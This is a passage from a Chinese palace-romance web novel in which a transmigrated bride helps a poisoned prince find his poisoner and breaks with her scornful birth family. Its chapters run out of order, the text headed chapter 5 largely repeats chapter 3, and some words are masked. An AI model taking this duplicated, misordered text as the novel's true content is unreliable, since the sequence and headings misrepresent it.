姜黎婳正在书房中看挂在墙上的画作,见他出来,笑着问,“殿下,您唤妾身过来有什么事吗?”
“姜黎婳,我可以信你吗?”楚御礼走到姜黎婳面前牵起她的手,眼中浮现出落寞的神色,“你今早说,你我夫妇是一体,你不会害我的,是吗?”
姜黎婳抬头瞧着方才还像孔雀一样在她面前展示自己的皇子,此时竟然如一条被抛弃的小狗可怜地祈求着她的怜惜。
这是楚御礼第一次喊她的名字。
她不知道原来自己的名字在别人的嘴里喊出来居然能这么缱绻动听。
“殿下需要我证明吗?”姜黎婳轻声问。
楚御礼轻轻摇头,“你只用回答我。”
“不会,我绝不会害你。”姜黎婳一字一句的回答道。
“好,我信你。”他拉着姜黎婳在桌案后的红木椅上坐下,自己则蹲在她面前抬头望着她,他声音很轻,即便两人距离很近,但姜黎婳还是要倾身才能听到他说,“若不是你,我可能到死都不知道我竟然是中毒。”
“如今除了你,我不知道身边人是否可信,所以你能和我一起把要害我的人找出来吗?”
他的声音带着蛊惑,让姜黎婳下意识地想答应他所有的要求,她点头,“好。”
楚御礼笑了,那笑容如冬日积雪遇骄阳,刺骨又惹眼。
“姜黎婳,你又救了我一次。”
他拉起姜黎婳,“今夜咱们宿在书房,我让人在寝屋摆了膳食。”
瞧着一下子又变成孔雀的楚御礼,姜黎婳下意识的忽略了楚御礼刚刚说的那句话,跟上了他的脚步。
.......
夜正浓。
事后的姜黎婳双眼迷离地靠在那冰冷的怀抱中,心想,果然治愈伤痛最好的办法就是覆盖伤痛。
即便她心头对这事儿抗拒,但是随着他的节奏,她也会慢慢沉沦在他的温柔漩涡之中。
闭眼强迫自己不再去想前世那些恶心事,姜黎婳把脸贴在楚御礼的胸膛,脸上逐渐露出安稳的神态。
他这冰凉的体质真好,夏天抱着睡觉是真的凉快。
随着她进入梦乡,一直闭着眼假寐的楚御礼却睁开了眼睛。
垂眸看了一眼怀中娇媚的人儿,楚御礼的眉头微微皱起,昨夜她一开始的抗拒,他以为是她没经历过人事,所以会有所恐惧。
可今夜她也是抗拒的。
甚至连他们共赴云端时她依旧没有完全放松自己。
甚至有些戒备...
她是在抗拒他,还是抗拒这种事情?
瞧着把自己抱得紧紧的人,楚御礼很快就否决了第一种想法,抗拒他的人不会紧紧地抱着他不撒手的。
那就是抗拒这种事?
可她一个初经人事的少女,会有什么样的经历,才会让她抗拒这种事情?
看来想要让她不抗拒与他的亲密,还得先解开她的心结,让她击碎恐惧才是。
在心头下了某种决定,楚御礼搂紧怀中的人也闭上了眼睛。
不知道自己的异样已经被察觉的姜黎婳一夜好眠,再次醒来已经是天光大亮了。
楚御礼已经在宫外建府,她也没有必要每日入宫请安,两人一同用了早膳,楚御礼便要带她出门,“你说你从江南带回来的婢女还安置在城南的宅子中?要把她们接到府上来伺候你吗?”
姜黎婳眼睛一亮,“可以吗?”
原书中,原主嫁入定国公府后,还没来得及把以前的婢女接到身边就发现了定国公府上的秘密,她害怕牵连爹爹和从小跟着她一起长大的婢女,便改变了主意,不但再也没有和爹爹相认,婢女和照顾她长大的嬷嬷,她也没有再接回身边。
按书中时间线算,原主到死整整十三年,没再见过最爱她的爹爹和婢女、嬷嬷。
她不想留那种遗憾。
第5章 苏清欢她眼瞎啊
姜黎婳从昨夜就感觉到了,在和楚御礼的相处中,她一直都处于被动。
虽然每次都是她主动出击,但是掌控权却在他的手中,就像刚刚明明是他露出一副受伤的模样质问她,好似他很在意她的想法似的,可转眼他就要让她亮底牌,博他信任。
而他,好像一开始就看透了苏家的把戏一般。
“殿下看出了什么?”姜黎婳想把主动权拿回来,她不答反问。
她的狐狸眼亮晶晶的,眨眼之间,就出卖了她自己的想法。
楚御礼似笑非笑,“据孤所知,苏家夫人姓吕,老夫人姓邹,没有姓姜的。”
姜黎婳抿了抿唇,这是她和原主都在坚持的事情,可以当苏家女,但不改姓。
“殿下没有怀疑过妾身不是苏家的女儿吗?”
今日宫里宫外来回奔波,说的话又是平日的好几倍,楚御礼觉得有些疲累,他抬步朝窗边的软榻走去,“苏家夫妇别的不提,容貌却是这京城达官显贵中最亮眼的,说你不是他们的女儿,倒不如说你从小被狸猫换太子了。”
接着抬手扯松衣襟斜靠在软榻上,露出洁白的胸膛。
姜黎婳瞧着前一刻还正经的与自己说话,下一刻就变成一副美男图的皇子,一时之间不知该说什么了。
她只能感叹:苏清欢眼瞎啊!
姜黎婳亦抬步走过去,光明正大的脱掉身上水红色的外衫,只穿着月白色的丝质抹胸束腰长裙坐在楚御礼对面,她仪态极好,昂首挺胸,因为头发被挽成了飞仙髻,此时把洁白的天鹅颈完全展露了出来。
“殿下果然是天之骄子,不用妾身说,便能猜了个正着。”
“你把外衫穿上!”楚御礼面上的风轻云淡在姜黎婳脱衣坐下的那一瞬间尽数消失,红霞从颈脖爬到脸上,整个人不见半分昨日的苍白,他抬起手颤抖的指着姜黎婳,“你...你脱衣服做什么?”
“脱了衣裳凉快些啊。”这刚入夏不久,还没到用冰块降温的时候,从宫中回来本来就热,刚刚看到他那胸膛,她就更热了...
所以也没多想,就把外衫脱了。
楚御礼脸更红了,眼里的矜持几乎维持不住了,“那你也不能穿这样,赶紧穿上!”
姜黎婳蹙眉,“为何不能穿这样?”
楚国民风开放,数年前有官员在西北的一个石窟中发现了不少仙女壁画,有官员把壁画绘制成册带回盛京。
画册中的仙女身着抹胸长裙,个个身材婀娜,美不胜收。
深受先帝宠爱的佳宁公主更让尚衣局制作了那画册上的长裙,在先帝的寿宴上献上仙女祝寿舞,先帝龙心大悦,大手一挥便允了女子们夏日可穿无袖仙女服出行。
不过先帝虽然允诺了,也鲜少也女子敢只穿抹胸长裙出行,除了一些舞姬会穿这种裙子跳舞之外,外出的小姐们都会像姜黎婳这样在外面套一件纱质外衫,只有一个人在寝居中才会脱掉外衫,只穿长裙。
所以姜黎婳现在这样穿,并不失礼。
楚御礼说话都不利索了,“反正你赶紧...穿上!”
“殿下昨夜脱妾身衣裳的时候,可不是这样的。”姜黎婳咬了咬唇,起身把外衫穿上。
楚御礼:“......”
倒成了他的不是了。
姜黎婳穿好外衫,也心有戚戚,上一世经历了一些事情之后,她精神时刻紧绷,即便是炎炎夏日,也不敢穿无袖装。
那种恶心和恐惧她是刻在灵魂上的,可她刚刚却不假思索的在楚御礼面前脱掉了外衫...
是她相信他不会伤害她吗?
意识到自己竟然对刚成亲一天的丈夫如此信任,姜黎婳沉默了。
看着坐在软榻上不发一语的姜黎婳,楚御礼薄唇微动,“既然是狸猫换太子,如今你回来了,你亲生爹娘为何不愿对外公布真相?”
姜黎婳垂着的眼眸中闪过一丝嘲讽,“大概是因为养在身边的比较亲吧,即便那个人不是他们的亲骨肉。”
想到原书中苏清欢死后,吕氏跑到定国公府掐住原主的肩膀声嘶力竭的骂她,“死的人明明该是你!你才应该是嫁给那个大皇子的那个人!若不是清欢替你嫁过去,死的人就不是清欢了!你该死!你为什么不去死!”
那画面现在想起来,她依旧觉得心脏闷疼。
书中原主期盼得到母亲的疼爱,却屡屡被亲生母亲嫌弃唾骂,甚至咒去死,让原主心灰意冷。
如今她如今对苏家没有一丝感情,只想赶紧和苏家撇清关系,再无瓜葛。
她深深地吸了口气,抬眸看着楚御礼,冷笑道:“他们苏家一家子都把苏清欢当掌上明珠,若不是因为她看上了萧景宴,我这个亲生女儿即便被寻回来了,怕也是当不了他苏建明的嫡女,嫁给殿下的人也轮不到我。”
“你的意思是说若苏清欢没有看上那萧景宴,她就会以苏家嫡女的身份嫁到皇子府来?”楚御礼眼底划过一丝阴鸷,“这么说来,孤还要感谢她不嫁之恩了。”
姜黎婳听不出他这话是疑惑还是感叹,她不置可否的耸了耸肩,“届时殿下的冲喜有没有效果也不一定呢。”
“那肯定是没效果的!”楚御礼站了起来,若昨日他娶的人不是姜黎婳,而是苏清欢的话,那他绝对不可能和苏清欢同房的!
那女人不会医术,也不可能发现他身体不好另有蹊跷。
说不定他被毒死了,世人还以为是天命所归!
而本该嫁给他的姜黎婳会被苏家人嫁给萧景宴!
想到这个可能,楚御礼心头大骇,他深深地看了一眼给自己上眼药水的姜黎婳,“苏家,真是好样的!”
“来人,把皇子妃的陪嫁婢女都给孤送回苏府去,孤瞧着她们不顺眼!”
......
苏府。
主母吕氏眼前发黑的瞧着被皇子府送回来的六七个婢女和两个婆子,她强打起精神问把人送回来皇子府管事,“不知道大皇子和皇子妃这是什么意思?是她们伺候得不好?”
“那倒不是。”上了年纪的老管事笑容可掬,“能在大皇子身边伺候的都是经过层层挑选的,这些婢女在大皇子府确实派不上用场,大皇子便吩咐在下把人给夫人送回来了。”
老管事说完也不管吕氏的脸色多难看,笑着道:“既然人送到了,在下就先回去给大皇子复命了。”
老管事前脚刚踏出院门,伸手就传来器具破碎的声音。
吕氏看着跪在地上的婢女婆子们,怒声问:“怎么回事?”
下人们也一脸懵逼啊,今天早上还好好的呢!
昨夜她们听说了皇子府中那些婢女仆从们的月银,她们还偷着乐了一整夜呢,谁知道今天下午她们就被送回苏府了啊!
坐在吕氏下首的苏家大公子苏承印沉着脸道,“说不定就是姜黎婳那个死丫头的主意!那死丫头从来就和我们不是一条心!”
见儿子这么说自己的亲生女儿,吕氏并没有半点不悦,反而越发愤恨,“当初就不应该把她找回来!找回来了反而堵心!”
第4章 双生女的秘密
姜黎婳侧首看向昨夜不愿节制的罪魁祸首,却与对方的目光撞在了一块儿,而对方不但没有一丝心虚,嘴角甚至对她扬起一丝笑意,那模样仿佛在说,‘昨夜难道不是你主动的吗?’
想到昨夜的确是自己闯入了浴室把对方给看光了,姜黎婳心虚的收回目光,乖巧地回答,“儿臣知道了。”
皇后瞧她这么乖巧,当即大手一挥,又赏赐了姜黎婳不少珍宝头面。
姜黎婳来者不拒,谢恩收下。
瞧她这般爽快,出生将门的皇后眼中的喜爱之意又多了几分,她拉着姜黎婳问:“你平日喜欢吃什么菜?甜口的还是辣口的?”
姜黎婳从小在江南长大,口味偏甜,便实话实说,皇后当即让宫女去御膳房走一遭,做些江南特色菜式送来凤仪宫。
片刻后有宫女来报,“娘娘,淑妃和贤妃两位娘娘过来了。”
皇后笑着传两人进来,让楚御礼夫妇二人坐下,自己回了主位。
她刚坐下淑妃和贤妃两人走从殿外走了进来,不等两人行礼,皇后就说,“都是自己人,就不用多礼了。”
两妃闻言应了声是,淑妃笑着把目光落在姜黎婳的面容上,她面带笑意,神色温柔,“这就是大皇子妃了吧?真真是一个美人儿,我这么个女子看着都舍不得移开眼睛了。”
姜黎婳起身给两人见礼,“婳儿见过淑妃娘娘、贤妃娘娘。”
“快起来。”淑妃满脸慈爱地上前亲手把姜黎婳扶起来。
随着她靠近,身上那淡淡的栀子花香味随着鼻息蹿入姜黎婳的鼻腔。
“娘娘真香。”姜黎婳轻声道。
淑妃掩唇一笑,“本宫听过人夸本宫好看,也听过人夸本宫保养得宜,还头一次听闻人夸本宫香呢。”
“你整日跟个花蝴蝶一样在花丛中乱窜,又爱用鲜花研究香粉,身上沾染了味道,不香才怪。”皇后嗔怪地看了淑妃一眼,“有时与你打马吊,本宫都被你呛得流眼泪了。”
“姐姐!”淑妃没好气的跺了跺脚,“说来说去,还是妹妹过来陪你,过来错了?”
她从怀中拿出一个方盒子递给姜黎婳,却对着皇后说:“您如此嫌弃妹妹,妹妹还是不在这儿讨嫌了。”说完又笑着对姜黎婳道:“婳儿,这是淑娘娘给你和大皇子的贺礼,祝你们早生贵子。”
姜黎婳连忙福身谢恩。
淑妃冲姜黎婳眨了眨眼睛,这才转身朝皇后福了福身子,“姐姐嫌妹妹身上味道刺鼻,妹妹就先告辞了。”
皇后嗔了她一眼,“本宫平日惯得你。”
淑妃笑呵呵地快步离开了,真如花蝴蝶一般。
比起上了年纪依旧天真的淑妃,贤妃就要稳重许多,她笑着招来自己的宫女,宫女托盘中摆着一个红木盒子,她笑着对姜黎婳道:“这是本宫给你们夫妇二人的新婚贺礼,祝你们夫妇二人白头偕老,金玉满堂。”
她打开盒子,里面是一棵由碧绿的翡翠雕刻的金桔树,树上挂着累累果实,果实全是实实在在的金子打造。
这贤妃果然实在。
姜黎婳这次谢恩是真心实意的。
“你们喜欢就好。”贤妃瞧着姜黎婳的模样,伸手摸了摸她的头发,这才转身给皇后福身告辞。
等殿内又只剩下母子三人了,皇后才道,“贤妃用心了。”
“是啊,这是真用心。”姜黎婳看了一眼价值不菲的金桔树,就算她爹那个江南首富,也不会花大价钱弄这么一棵招贼的金桔树放在家中。
皇后笑着道,“淑妃一直都是那么个欢脱的性子,你也别往心里去。”
姜黎婳笑着应了声是,淑妃送的是一个金石榴,也算是用心了。
挨到用午膳,姜黎婳总算是能把话题扯到沉香手串上了,“儿臣瞧着那手串质地特别好,但如今沉香稀缺,儿臣实在好奇母后是在哪儿找到这么大颗的沉香手串的。”
提起这件事情,皇后面上的笑容更深了一些,“那手串是贤妃替本宫寻来的。”
楚御礼神色微变,“那手串不是母后您让人亲自寻来的吗?”
“本宫是让人去寻了,但那这等极品的沉香不好找,贤妃既然找到了如此极品的沉香,本宫让人寻来的那些沉香珠子,自然就用不上了。”
......
从皇宫回大皇子府的路上楚御礼都没说话。
出门在外,人多耳杂,姜黎婳也没有主动找话题,加上她和楚御礼两人即便是夫妇,但算起来两人昨天才第一次见面,虽然发生了亲密的关系,但那只是身体上的,情感上两人最多算认识的人。
她拿不准楚御礼的性格,所以不敢贸然开口。
直到回了大皇子府,两人回了院子,楚御礼屏退了院内伺候的仆从,让贴身侍卫守在院外不准任何人靠近,才对姜黎婳开了口,“贤妃没有动机。”
一时没跟上他思路的姜黎婳眨了眨眼睛,“嗯?”
这一路他难道都在思考贤妃的要害他的动机吗?
楚御礼看着姜黎婳,“贤妃只有一个女儿,是和嘉公主,半年前嫁到了南诏和亲,她膝下无子,与母后是前后脚嫁入潜邸,两人相处融洽,从未结仇,没有害孤的动机。”
“殿下是相信妾身的话了?”姜黎婳眼里闪过一丝惊喜,嘴角也浮出笑意,她还害怕这楚御礼固执己见,宁愿相信自己胎弱带病,也不愿意相信她的话呢,这样她还得花时间去证明自己,说服他...
真没想到入宫一趟,他竟然自己想通了。
看到她喜笑颜开的模样,楚御礼心头一堵,当即把嘴边的话脱口而出,“为夫被人毒害,娘子好像很高兴?”
姜黎婳一脸懵,“嗯?殿下何出此言?”
这人未免太不讲理了吧?
果然病了太久?心性不定?
“妾身笑不是因为殿下被害,而是因为殿下愿意相信妾身。”她这仰头一笑,如春日刚盛开的花朵,引人忍不住想要伸手去摘。
意识到自己的失态,楚御礼握拳咳嗽了一声,有些别扭地说道:“孤的信任,对你来说很重要?”
姜黎婳轻轻点头,抬眸真诚地看着他,“夫妻之间信任是最重要的。”
楚御礼被她看得有些不自在,他错开目光,“那你信我吗?”
姜黎婳没想到他会忽然这样问,她神情微怔,片刻之后颔首,“自然是信的。”
“那你给我说说你们苏家双生女的秘密吧。”楚御礼深邃的眼眸之中闪过一丝精光,“为夫很是好奇向来宣称只有一个女儿的苏家,为何数日前忽然改口对外宣称是双生女了。”
第3章 你们要节制
姜黎婳从昨夜就感觉到了,在和楚御礼的相处中,她一直都处于被动。
虽然每次都是她主动出击,但是掌控权却在他的手中,就像刚刚明明是他露出一副受伤的模样质问她,好似他很在意她的想法似的,可转眼他就要让她亮底牌,博他信任。
而他,好像一开始就看透了苏家的把戏一般。
“殿下看出了什么?”姜黎婳想把主动权拿回来,她不答反问。
她的狐狸眼亮晶晶的,眨眼之间,就出卖了她自己的想法。
楚御礼似笑非笑,“据孤所知,苏家夫人姓吕,老夫人姓邹,没有姓姜的。”
姜黎婳抿了抿唇,这是她和原主都在坚持的事情,可以当苏家女,但不改姓。
“殿下没有怀疑过妾身不是苏家的女儿吗?”
今日宫里宫外来回奔波,说的话又是平日的好几倍,楚御礼觉得有些疲累,他抬步朝窗边的软榻走去,“苏家夫妇别的不提,容貌却是这京城达官显贵中最亮眼的,说你不是他们的女儿,倒不如说你从小被狸猫换太子了。”
接着抬手扯松衣襟斜靠在软榻上,露出洁白的胸膛。
姜黎婳瞧着前一刻还正经的与自己说话,下一刻就变成一副美男图的皇子,一时之间不知该说什么了。
她只能感叹:苏清欢眼瞎啊!
姜黎婳亦抬步走过去,光明正大的脱掉身上水红色的外衫,只穿着月白色的丝质抹胸束腰长裙坐在楚御礼对面,她仪态极好,昂首挺胸,因为头发被挽成了飞仙髻,此时把洁白的天鹅颈完全展露了出来。
“殿下果然是天之骄子,不用妾身说,便能猜了个正着。”
“你把外衫穿上!”楚御礼面上的风轻云淡在姜黎婳脱衣坐下的那一瞬间尽数消失,红霞从颈脖爬到脸上,整个人不见半分昨日的苍白,他抬起手颤抖的指着姜黎婳,“你...你脱衣服做什么?”
“脱了衣裳凉快些啊。”这刚入夏不久,还没到用冰块降温的时候,从宫中回来本来就热,刚刚看到他那胸膛,她就更热了...
所以也没多想,就把外衫脱了。
楚御礼脸更红了,眼里的矜持几乎维持不住了,“那你也不能穿这样,赶紧穿上!”
姜黎婳蹙眉,“为何不能穿这样?”
楚国民风开放,数年前有官员在西北的一个石窟中发现了不少仙女壁画,有官员把壁画绘制成册带回盛京。
画册中的仙女身着抹胸长裙,个个身材婀娜,美不胜收。
深受先帝宠爱的佳宁公主更让尚衣局制作了那画册上的长裙,在先帝的寿宴上献上仙女祝寿舞,先帝龙心大悦,大手一挥便允了女子们夏日可穿无袖仙女服出行。
不过先帝虽然允诺了,也鲜少也女子敢只穿抹胸长裙出行,除了一些舞姬会穿这种裙子跳舞之外,外出的小姐们都会像姜黎婳这样在外面套一件纱质外衫,只有一个人在寝居中才会脱掉外衫,只穿长裙。
所以姜黎婳现在这样穿,并不失礼。
楚御礼说话都不利索了,“反正你赶紧...穿上!”
“殿下昨夜脱妾身衣裳的时候,可不是这样的。”姜黎婳咬了咬唇,起身把外衫穿上。
楚御礼:“......”
倒成了他的不是了。
姜黎婳穿好外衫,也心有戚戚,上一世经历了一些事情之后,她精神时刻紧绷,即便是炎炎夏日,也不敢穿无袖装。
那种恶心和恐惧她是刻在灵魂上的,可她刚刚却不假思索的在楚御礼面前脱掉了外衫...
是她相信他不会伤害她吗?
意识到自己竟然对刚成亲一天的丈夫如此信任,姜黎婳沉默了。
看着坐在软榻上不发一语的姜黎婳,楚御礼薄唇微动,“既然是狸猫换太子,如今你回来了,你亲生爹娘为何不愿对外公布真相?”
姜黎婳垂着的眼眸中闪过一丝嘲讽,“大概是因为养在身边的比较亲吧,即便那个人不是他们的亲骨肉。”
想到原书中苏清欢死后,吕氏跑到定国公府掐住原主的肩膀声嘶力竭的骂她,“死的人明明该是你!你才应该是嫁给那个大皇子的那个人!若不是清欢替你嫁过去,死的人就不是清欢了!你该死!你为什么不**!”
那画面现在想起来,她依旧觉得心脏闷疼。
书中原主期盼得到母亲的疼爱,却屡屡被亲生母亲嫌弃唾骂,甚至咒**,让原主心灰意冷。
如今她如今对苏家没有一丝感情,只想赶紧和苏家撇清关系,再无瓜葛。
她深深地吸了口气,抬眸看着楚御礼,冷笑道:“他们苏家一家子都把苏清欢当掌上明珠,若不是因为她看上了萧景宴,我这个亲生
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女儿即便被寻回来了,怕也是当不了他苏建明的嫡女,嫁给殿下的人也轮不到我。”
“你的意思是说若苏清欢没有看上那萧景宴,她就会以苏家嫡女的身份嫁到皇子府来?”楚御礼眼底划过一丝阴鸷,“这么说来,孤还要感谢她不嫁之恩了。”
姜黎婳听不出他这话是疑惑还是感叹,她不置可否的耸了耸肩,“届时殿下的冲喜有没有效果也不一定呢。”
“那肯定是没效果的!”楚御礼站了起来,若昨日他娶的人不是姜黎婳,而是苏清欢的话,那他绝对不可能和苏清欢同房的!
那女人不会医术,也不可能发现他身体不好另有蹊跷。
说不定他被毒**,世人还以为是天命所归!
而本该嫁给他的姜黎婳会被苏家人嫁给萧景宴!
想到这个可能,楚御礼心头大骇,他深深地看了一眼给自己上眼药水的姜黎婳,“苏家,真是好样的!”
“来人,把皇子妃的陪嫁婢女都给孤送回苏府去,孤瞧着她们不顺眼!”
......
苏府。
主母吕氏眼前发黑的瞧着被皇子府送回来的六七个婢女和两个婆子,她强打起精神问把人送回来皇子府管事,“不知道大皇子和皇子妃这是什么意思?是她们伺候得不好?”
“那倒不是。”上了年纪的老管事笑容可掬,“能在大皇子身边伺候的都是经过层层挑选的,这些婢女在大皇子府确实派不上用场,大皇子便吩咐在下把人给夫人送回来了。”
老管事说完也不管吕氏的脸色多难看,笑着道:“既然人送到了,在下就先回去给大皇子复命了。”
老管事前脚刚踏出院门,伸手就传来器具破碎的声音。
吕氏看着跪在地上的婢女婆子们,怒声问:“怎么回事?”
下人们也一脸懵逼啊,今天早上还好好的呢!
昨夜她们听说了皇子府中那些婢女仆从们的月银,她们还偷着乐了一整夜呢,谁知道今天下午她们就被送回苏府了啊!
坐在吕氏下首的苏家大公子苏承印沉着脸道,“说不定就是姜黎婳那个死丫头的主意!那死丫头从来就和我们不是一条心!”
见儿子这么说自己的亲生女儿,吕氏并没有半点不悦,反而越发愤恨,“当初就不应该把她找回来!找回来了反而堵心!”
第2章 大皇子他没有力不从心
傍晚楚御礼去了书房,说有事要处理,让府上的管事嬷嬷带姜黎婳熟悉一下皇子府。
姜黎婳跟着管事嬷嬷把皇子府都逛了一个遍,回来就看到一个古铜色皮肤的英俊青年站在梨月居的院门外。
见她回来,青年往前走了两步,拱手弯腰给她见礼,“属下昭临,见过大皇子妃。”
这个侍卫她见过,先前和楚御礼去了书房。
姜黎婳有些疑惑的看着他,“有事吗?”
昭临礼貌颔首,“殿下请您去书房一趟。”
让她去书房派人知会一声就是,怎么还让自己的贴身侍卫亲自过来了?
姜黎婳让昭临带路,昭临屏退跟在姜黎婳身后的嬷嬷,带着她往书房走去,到了门外,他站定不再往前,“殿下在书房等您,大皇子妃您进去就是。”
姜黎婳不疑有他,轻轻敲了敲书房的门。
“进来。”楚御礼淡漠的声音从书房内传来。
姜黎婳推开房门走进去,进屋就看到了光着上身双手撑着地在地上做俯卧撑的男人...
看到这画面,姜黎婳脑子里一下闪过一些昨夜发生的事情,她脸一红,脱口而出,“**的,殿下您怎么不穿衣服...”
楚御礼手臂上鼓起的肌肉一下子软了,他双腿扑通跪在地上,汗水从额头上滴落打湿了青石地板。
姜黎婳欲盖弥彰地用手遮住自己的眼睛,手指**一条缝看向已经站起来的楚御礼,心想难怪他身子看上去虽然糜弱,但是脱了衣裳却有条理分明的肌肉。
原来是自己在没人的地方偷偷练呢。
可是....
明明身体承受不住,却在不为人知的时候更加努力,难怪昨夜精力...
啊呸,想歪了!
这样努力的人,被人害死,简直太可惜了。
拿着汗巾擦汗的楚御礼瞧着她那掩耳盗铃的模样,忍不住勾起嘴角,“娘子很满意为夫的身材?”
“嗯...嗯?”姜黎婳并拢手指,矢口否认,“妾身什么都没看到,何谈满意一说?”
“没看到啊?”楚御礼把汗巾扔到一旁的架子上,走到姜黎婳面前,语气幽幽,“那真是可惜了,为夫现在都已经穿上衣服了,也不能脱了让娘子重看一遍。”
姜黎婳听对方穿好衣裳,立刻放下双手...
看着眼前那诱人的胸肌,姜黎婳沉默了。
她缓缓抬头,目光落入对方的黑色漩涡之中。
楚御礼披着外衫,双手张开,展示自己的好身材,“娘子满意否?”
姜黎婳鬼使神差的跟着点头,脑子却在想其他的...
这样惯会孔雀开屏的男人,真的让苏清欢守了快两年的活寡?
苏清欢上一世嫁的大皇子,和自己嫁的这是一个人吗?
得到了自己想要的答案,楚御礼满意的合拢外衫外隔壁的盥洗室走去,“娘子稍等片刻,为夫洗洗就来。”
姜黎婳:“......”
好好地一句话,为什么从大皇子嘴里面说出来,她总感觉变了味道?
她慌乱的点了点头,丝毫没有意识到,前世一看到男人脱衣就惊恐的自己,竟然一点都不反感楚御礼在自己面前展示自己的好身材。
一盏茶的功夫后楚御礼从隔间回来,他换了一身竹青色的银纹长衫,比手掌宽的腰带束在腰间,衬得他身材挺拔,长身玉立,英俊无双。
姜黎婳正在书房中看挂在墙上的画作,见他出来,笑着问,“殿下,您唤妾身过来有什么事吗?”
“姜黎婳,我可以信你吗?”楚御礼走到姜黎婳面前牵起她的手,眼中浮现出落寞的神色,“你今早说,你我夫妇是一体,你不会害我的,是吗?”
姜黎婳抬头瞧着方才还像孔雀一样在她面前展示自己的皇子,此时竟然如一条被抛弃的小狗可怜地祈求着她的怜惜。
这是楚御礼第一次喊她的名字。
她不知道原来自己的名字在别人的嘴里喊出来居然能这么缱绻动听。
“殿下需要我证明吗?”姜黎婳轻声问。
楚御礼轻轻摇头,“你只用回答我。”
“不会,我绝不会害你。”姜黎婳一字一句的回答道。
“好,我信你。”他拉着姜黎婳在桌案后的红木椅上坐下,自己则蹲在她面前抬头望着她,他声音很轻,即便两人距离很近,但姜黎婳还是要倾身才能听到他说,“若不是你,我可能到死都不知道我竟然是**。”
“如今除了你,我不知道身边人是否可信,所以你能和我一起把要害我的人找出来吗?”
他的声音带着蛊惑,让姜黎婳下意识地想答应他所有的要求,她点头,“好。”
楚御礼笑了,那笑容如冬日积雪遇骄阳,刺骨又惹眼。
“姜黎婳,你又救了我一次。”
他拉起
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姜黎婳,“今夜咱们宿在书房,我让人在寝屋摆了膳食。”
瞧着一下子又变成孔雀的楚御礼,姜黎婳下意识的忽略了楚御礼刚刚说的那句话,跟上了他的脚步。
.......
夜正浓。
事后的姜黎婳双眼迷离地靠在那冰冷的怀抱中,心想,果然治愈伤痛最好的办法就是覆盖伤痛。
即便她心头对这事儿抗拒,但是随着他的节奏,她也会慢慢沉沦在他的温柔漩涡之中。
闭眼强迫自己不再去想前世那些恶心事,姜黎婳把脸贴在楚御礼的胸膛,脸上逐渐露出安稳的神态。
他这冰凉的体质真好,夏天抱着睡觉是真的凉快。
随着她进入梦乡,一直闭着眼假寐的楚御礼却睁开了眼睛。
垂眸看了一眼怀中娇媚的人儿,楚御礼的眉头微微皱起,昨夜她一开始的抗拒,他以为是她没经历过人事,所以会有所恐惧。
可今夜她也是抗拒的。
甚至连他们共赴云端时她依旧没有完全放松自己。
甚至有些戒备...
她是在抗拒他,还是抗拒这种事情?
瞧着把自己抱得紧紧的人,楚御礼很快就否决了第一种想法,抗拒他的人不会紧紧地抱着他不撒手的。
那就是抗拒这种事?
可她一个初经人事的少女,会有什么样的经历,才会让她抗拒这种事情?
看来想要让她不抗拒与他的亲密,还得先解开她的心结,让她击碎恐惧才是。
在心头下了某种决定,楚御礼搂紧怀中的人也闭上了眼睛。
不知道自己的异样已经被察觉的姜黎婳一夜好眠,再次醒来已经是天光大亮了。
楚御礼已经在宫外建府,她也没有必要每日入宫请安,两人一同用了早膳,楚御礼便要带她出门,“你说你从江南带回来的婢女还安置在城南的宅子中?要把她们接到府上来伺候你吗?”
姜黎婳眼睛一亮,“可以吗?”
原书中,原主嫁入定国公府后,还没来得及把以前的婢女接到身边就发现了定国公府上的秘密,她害怕牵连爹爹和从小跟着她一起长大的婢女,便改变了主意,不但再也没有和爹爹相认,婢女和照顾她长大的嬷嬷,她也没有再接回身边。
按书中时间线算,原主到死整整十三年,没再见过最爱她的爹爹和婢女、嬷嬷。
她不想留那种遗憾。
第1章 被换亲,冲喜
从大皇子府去姜宅的路上,姜黎婳整个人是又激动又不安。
她不知道自己的决定是对是错,但是她不想像原主那样留遗憾,十几年的相处,她亦是把她们当亲人了。
虽然不知道自己是否有能力保护她们,但她应该可以相信让她把婢女们接到身边的楚御礼。
只是到京城的时候,她给她们说让她们等她,她会联系她们的,可这几个月过来她一次也没有联系她们...
姜黎婳咬了咬嘴唇,她们应该不会怪她吧?
一直注意着她一举一动的楚御礼见她坐立难安的模样,低声问,“怎么了?”
姜黎婳抬头,不安的模样更明显了,她不自在地扯了扯嘴角,低声道:“我好几个月未曾联系她们,怕她们怪我。”
楚御礼眉头微蹙,“怪你?”
意识到楚御礼可能误会了,姜黎婳赶紧解释,“佩玉嬷嬷从我很小的时候就照顾我了,爹爹很忙,时常出门在外,小时候都是佩玉嬷嬷哄我睡觉的,铃铛和知夏她们两人也是五六岁就跟在我身边了,我们是一同长大的。”
她认真地看着楚御礼,轻声道:“对我来说,她们不是普通的奴仆,更像是家人。”
“看来她们对你很好。”楚御礼拿出锦帕拉过姜黎婳的手,轻轻地为她擦拭手心的汗水,“不然你也不会因为她们的想法而坐立难安了。”
“嗯,她们的确很好。”姜黎婳展颜笑了。
楚御礼动作一顿,皱眉看着她,“娘子的意思是说我对你不好?”
“自然不是!”姜黎婳急了,这人怎么说话带套啊!她一个不小心就落入他的圈套里面了!
瞧着她着急的模样,楚御礼深邃的眼眸中闪过笑意,他捏着已经擦干汗水的柔夷,“那是为夫更好,还是她们更好?”
“这是能比较的吗?”姜黎婳垂下眼眸,藏住眼底的心虚。
她和他虽是夫妻,但感情上,现在的他和铃铛她们的确不能相提并论。
“看来是不能把她们接回去了。”楚御礼松开姜黎婳的手,叹气,“为夫不能接几个感情与娘子甚好的人回去与我争宠吧?”
姜黎婳:“!!!”
“妾身对佩玉嬷嬷她们是亲情!”情急之下,她脱口而出,“与殿下之间的情感是男女情爱,两者不一样,自然是不能比较的!”
得到了自己想要的答案,楚御礼心满意足,眼底的笑意都要溢出来了,他努力压住自己的嘴角,“真的?”
“自然是真的!”意识到自己冲动之下说了什么不知羞的话,姜黎婳干脆梗着脖子一错到底,“妾身从不说谎!”
“那你证明给为夫看。”
楚御礼靠在车板上,盯着她。
姜黎婳心头再次对苏清欢上一世的经历产生了怀疑。
苏清欢上辈子嫁了一个假皇子吧!
这人会让她守活寡?
“嗯?”见她不行动,某人有些急不可耐的提醒。
姜黎婳心一横,半起身快速在对方唇上落下一吻,人还没坐回去就被楚御礼拉到他腿上,冰冷的唇朝着她软嫩的嘴唇贴了上去...
片刻之后,楚御礼克制地松开她。
